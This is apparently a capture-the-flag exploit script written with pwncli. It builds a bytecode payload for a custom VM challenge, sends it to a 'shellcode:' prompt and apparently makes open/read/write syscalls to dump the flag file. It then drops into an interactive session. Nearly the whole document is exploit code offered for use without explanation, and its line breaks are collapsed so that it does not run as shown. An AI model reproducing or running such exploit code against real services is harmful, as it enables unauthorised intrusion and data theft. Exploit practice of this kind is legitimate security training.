1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158
| from pwncli import * from ctypes import * from time import time from struct import pack cli_script()
io = gift['io'] elf = gift["elf"] libc = gift.libc filename = gift.filename is_debug = gift.debug is_remote = gift.remote gdb_pid = gift.gdb_pid
arch='amd64' context(log_level = 'debug',os='linux',arch=arch) if gift.remote: gift['libc'] = libc pass libc_box = LibcBox()
r_l = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6') r_l.srand(0)
opt = b''
def sub_1274(): global opt def sub_1299(): global opt opt += b'\x22' def sub_12a7(): global opt opt += b'\x23' def sub_12c4(): global opt opt += b'\x24' def sub_12e0(): global opt opt += b'\x25' def sub_12fc(): global opt opt += b'\x26' def sub_1319(): global opt opt += b'\x27' def sub_132e(): global opt opt += b'\x28' def sub_1332(): global opt opt += b'\x29' def sub_1348(): global opt opt += b'\x2a' def sub_135c(): global opt opt += b'\x2b' def sub_1372(): global opt opt += b'\x2c' def sub_13a3(): global opt opt += b'\x2d' def sub_13c0(): global opt opt += b'\x2e' def sub_13dd(): global opt opt += b'\x2f' def sub_13fa(): global opt opt += b'\x30' def sub_1425(): global opt opt += b'\x31' def sub_1439(): global opt opt += b'\x32' def exit(): global opt opt += b'\x33'
def pwn_exp(): global opt print('PWN') opt+=b'\x26\x00\x02\x00\x00\x32\x26\x47\x00\x00\x00\x23\x26\x00\x00\x00\x00\x26\x00\x00\x00\x00\x30' opt += b'\x26\x00\x00\x00\x00\x26\x00\x00\x00\x00\x32\x26\x63\x01\x00\x00\x23\x26\x02\x00\x00\x00\x30' opt += b'\x26\x30\x00\x00\x00\x32\x26\xb5\x03\x00\x00\x23\x26\x03\x00\x00\x00\x26\x00\x00\x00\x00\x30' opt += b'\x26\x30\x00\x00\x00\x32\x26\xcc\x03\x00\x00\x23\x26\x01\x00\x00\x00\x26\x01\x00\x00\x00\x30' opt = opt.ljust(0x100+0x3f,b'A')+b'flag\x00\x00\x00' sa("shellcode:",opt[:0x3f]) sl(opt[0x3f:])
log.info('#---#---#---#---#') log.success('libc.address:'+hex(libc.address))
if __name__ == '__main__': pwn_exp() io.interactive()
|